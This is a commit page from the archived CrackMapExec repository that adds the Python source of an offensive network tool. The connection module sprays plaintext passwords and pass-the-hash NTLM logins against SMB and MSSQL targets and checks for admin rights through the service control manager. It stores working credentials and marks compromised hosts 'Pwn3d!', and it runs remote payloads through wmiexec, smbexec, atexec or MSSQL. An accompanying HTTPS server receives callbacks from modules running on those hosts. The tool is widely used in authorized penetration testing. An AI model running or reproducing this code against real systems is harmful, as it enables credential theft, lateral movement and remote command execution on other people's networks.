Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit d5a7af9

Browse files
author
byt3bl33d3r
committed
goddammit, git add bro
1 parent 78484dc commit d5a7af9

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+6130
-0
lines changed

cme/__init__.py

Whitespace-only changes.

cme/cmeserver.py

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
import BaseHTTPServer
2+
import threading
3+
import ssl
4+
from BaseHTTPServer import BaseHTTPRequestHandler
5+
from logging import getLogger
6+
from gevent import sleep
7+
from core.helpers import highlight
8+
from core.logger import CMEAdapter
9+
10+
class RequestHandler(BaseHTTPRequestHandler):
11+
12+
def log_message(self, format, *args):
13+
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
14+
server_logger.info("- - %s" % (format%args))
15+
16+
def do_GET(self):
17+
if hasattr(self.server.module, 'on_request'):
18+
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
19+
self.server.context.log = server_logger
20+
self.server.module.on_request(self.server.context, self)
21+
22+
def do_POST(self):
23+
if hasattr(self.server.module, 'on_response'):
24+
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
25+
self.server.context.log = server_logger
26+
self.server.module.on_response(self.server.context, self)
27+
28+
def stop_tracking_host(self):
29+
'''
30+
This gets called when a module has finshed executing, removes the host from the connection tracker list
31+
'''
32+
try:
33+
self.server.hosts.remove(self.client_address[0])
34+
except ValueError:
35+
pass
36+
37+
class CMEServer(threading.Thread):
38+
39+
def __init__(self, module, context, srv_host, port, server_type='https'):
40+
41+
try:
42+
threading.Thread.__init__(self)
43+
44+
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
45+
self.server.hosts = []
46+
self.server.module = module
47+
self.server.context = context
48+
self.server.log = context.log
49+
50+
if server_type == 'https':
51+
self.server.socket = ssl.wrap_socket(self.server.socket, certfile='data/cme.pem', server_side=True)
52+
53+
except Exception as e:
54+
print 'Error starting CME Server: {}'.format(e)
55+
56+
def base_server(self):
57+
return self.server
58+
59+
def run(self):
60+
try:
61+
self.server.serve_forever()
62+
except:
63+
pass
64+
65+
def shutdown(self):
66+
try:
67+
while len(self.server.hosts) > 0:
68+
self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
69+
sleep(15)
70+
except KeyboardInterrupt:
71+
pass
72+
73+
# shut down the server/socket
74+
self.server.shutdown()
75+
self.server.socket.close()
76+
self.server.server_close()
77+
self._Thread__stop()
78+
79+
# make sure all the threads are killed
80+
for thread in threading.enumerate():
81+
if thread.isAlive():
82+
try:
83+
thread._Thread__stop()
84+
except:
85+
pass

cme/connection.py

Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
from traceback import format_exc
2+
from core.helpers import highlight
3+
from core.execmethods.mssqlexec import MSSQLEXEC
4+
from core.execmethods.wmiexec import WMIEXEC
5+
from core.execmethods.smbexec import SMBEXEC
6+
from core.execmethods.atexec import TSCH_EXEC
7+
from impacket.dcerpc.v5 import transport, scmr
8+
from impacket.dcerpc.v5.rpcrt import DCERPCException
9+
from impacket.smbconnection import SessionError
10+
11+
class Connection:
12+
13+
def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver):
14+
self.args = args
15+
self.db = db
16+
self.host = target
17+
self.hostname = server_name
18+
self.domain = domain
19+
self.conn = conn
20+
self.logger = logger
21+
self.cmeserver = cmeserver
22+
self.password = None
23+
self.username = None
24+
self.hash = None
25+
self.admin_privs = False
26+
27+
self.login()
28+
29+
def check_if_admin(self):
30+
if self.args.mssql:
31+
try:
32+
#I'm pretty sure there has to be a better way of doing this.
33+
#Currently we are just searching for our user in the sysadmin group
34+
35+
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
36+
query_output = self.conn.printRows()
37+
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
38+
self.admin_privs = True
39+
except:
40+
pass
41+
42+
elif not self.args.mssql:
43+
'''
44+
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
45+
If this succeeds, the user context has administrator access to the target.
46+
47+
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
48+
'''
49+
50+
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
51+
52+
rpctransport = transport.DCERPCTransportFactory(stringBinding)
53+
rpctransport.set_dport(self.args.smb_port)
54+
55+
lmhash = ''
56+
nthash = ''
57+
if self.hash:
58+
if self.hash.find(':') != -1:
59+
lmhash, nthash = self.hash.split(':')
60+
else:
61+
nthash = self.hash
62+
63+
if hasattr(rpctransport, 'set_credentials'):
64+
# This method exists only for selected protocol sequences.
65+
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
66+
dce = rpctransport.get_dce_rpc()
67+
dce.connect()
68+
dce.bind(scmr.MSRPC_UUID_SCMR)
69+
70+
lpMachineName = '{}\x00'.format(self.host)
71+
try:
72+
73+
# 0xF003F - SC_MANAGER_ALL_ACCESS
74+
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
75+
76+
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
77+
self.admin_privs = True
78+
except DCERPCException:
79+
pass
80+
81+
def plaintext_login(self, username, password):
82+
try:
83+
if self.args.mssql:
84+
res = self.conn.login(None, username, password, self.domain, None, True)
85+
if res is not True:
86+
self.conn.printReplies()
87+
return False
88+
89+
elif not self.args.mssql:
90+
self.conn.login(username, password, self.domain)
91+
92+
self.password = password
93+
self.username = username
94+
self.check_if_admin()
95+
self.db.add_credential('plaintext', self.domain, username, password)
96+
97+
if self.admin_privs:
98+
self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host)
99+
100+
out = u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
101+
username.decode('utf-8'),
102+
password.decode('utf-8'),
103+
highlight('(Pwn3d!)') if self.admin_privs else '')
104+
105+
self.logger.success(out)
106+
return True
107+
except SessionError as e:
108+
error, desc = e.getErrorString()
109+
self.logger.error(u'{}\\{}:{} {} {}'.format(self.domain.decode('utf-8'),
110+
username.decode('utf-8'),
111+
password.decode('utf-8'),
112+
error,
113+
'({})'.format(desc) if self.args.verbose else ''))
114+
return False
115+
116+
def hash_login(self, username, ntlm_hash):
117+
lmhash = ''
118+
nthash = ''
119+
120+
#This checks to see if we didn't provide the LM Hash
121+
if ntlm_hash.find(':') != -1:
122+
lmhash, nthash = ntlm_hash.split(':')
123+
else:
124+
nthash = ntlm_hash
125+
126+
try:
127+
if self.args.mssql:
128+
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
129+
if res is not True:
130+
self.conn.printReplies()
131+
return False
132+
133+
elif not self.args.mssql:
134+
self.conn.login(username, '', self.domain, lmhash, nthash)
135+
136+
self.hash = ntlm_hash
137+
self.username = username
138+
self.check_if_admin()
139+
self.db.add_credential('hash', self.domain, username, ntlm_hash)
140+
141+
if self.admin_privs:
142+
self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host)
143+
144+
out = u'{}\\{} {} {}'.format(self.domain.decode('utf-8'),
145+
username.decode('utf-8'),
146+
ntlm_hash,
147+
highlight('(Pwn3d!)') if self.admin_privs else '')
148+
149+
self.logger.success(out)
150+
return True
151+
except SessionError as e:
152+
error, desc = e.getErrorString()
153+
self.logger.error(u'{}\\{} {} {} {}'.format(self.domain.decode('utf-8'),
154+
username.decode('utf-8'),
155+
ntlm_hash,
156+
error,
157+
'({})'.format(desc) if self.args.verbose else ''))
158+
return False
159+
160+
def login(self):
161+
if self.args.local_auth:
162+
self.domain = self.hostname
163+
164+
for user in self.args.username:
165+
166+
if type(user) is file:
167+
168+
for usr in user:
169+
170+
if self.args.hash:
171+
for ntlm_hash in self.args.hash:
172+
if type(ntlm_hash) is not file:
173+
if self.hash_login(usr.strip(), ntlm_hash): return
174+
175+
elif type(ntlm_hash) is file:
176+
for f_hash in ntlm_hash:
177+
if self.hash_login(usr.strip(), f_hash.strip()): return
178+
179+
elif self.args.password:
180+
for password in self.args.password:
181+
if type(password) is not file:
182+
if self.plaintext_login(usr.strip(), password): return
183+
184+
elif type(password) is file:
185+
for f_pass in password:
186+
if self.plaintext_login(usr.strip(), f_pass.strip()): return
187+
188+
elif type(user) is not file:
189+
190+
if self.args.hash:
191+
for ntlm_hash in self.args.hash:
192+
if type(ntlm_hash) is not file:
193+
if self.hash_login(user, ntlm_hash): return
194+
195+
elif type(ntlm_hash) is file:
196+
for f_hash in ntlm_hash:
197+
if self.hash_login(user, f_hash.strip()): return
198+
199+
elif self.args.password:
200+
for password in self.args.password:
201+
if type(password) is not file:
202+
if self.plaintext_login(user, password): return
203+
204+
elif type(password) is file:
205+
for f_pass in password:
206+
if self.plaintext_login(user, f_pass.strip()): return
207+
208+
def execute(self, payload, get_output=False, method=None):
209+
210+
if self.args.mssql:
211+
exec_method = MSSQLEXEC(self.conn)
212+
213+
elif not self.args.mssql:
214+
215+
if not method and not self.args.exec_method:
216+
try:
217+
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
218+
except:
219+
if self.args.verbose:
220+
self.logger.debug('Error executing command via wmiexec, traceback:')
221+
self.logger.debug(format_exc())
222+
223+
try:
224+
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
225+
except:
226+
if self.args.verbose:
227+
self.logger.debug('Error executing command via smbexec, traceback:')
228+
self.logger.debug(format_exc())
229+
230+
try:
231+
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
232+
except:
233+
if self.args.verbose:
234+
self.logger.debug('Error executing command via atexec, traceback:')
235+
self.logger.debug(format_exc())
236+
return
237+
238+
elif method or self.args.exec_method:
239+
240+
if not method:
241+
method = self.args.exec_method
242+
243+
if method == 'wmiexec':
244+
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
245+
246+
elif method == 'smbexec':
247+
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
248+
249+
elif method == 'atexec':
250+
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
251+
252+
if self.cmeserver:
253+
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
254+
self.cmeserver.server.hosts.append(self.host)
255+
256+
output = exec_method.execute(payload, get_output)
257+
258+
return u'{}'.format(output.strip().decode('utf-8'))

0 commit comments

Comments
 (0)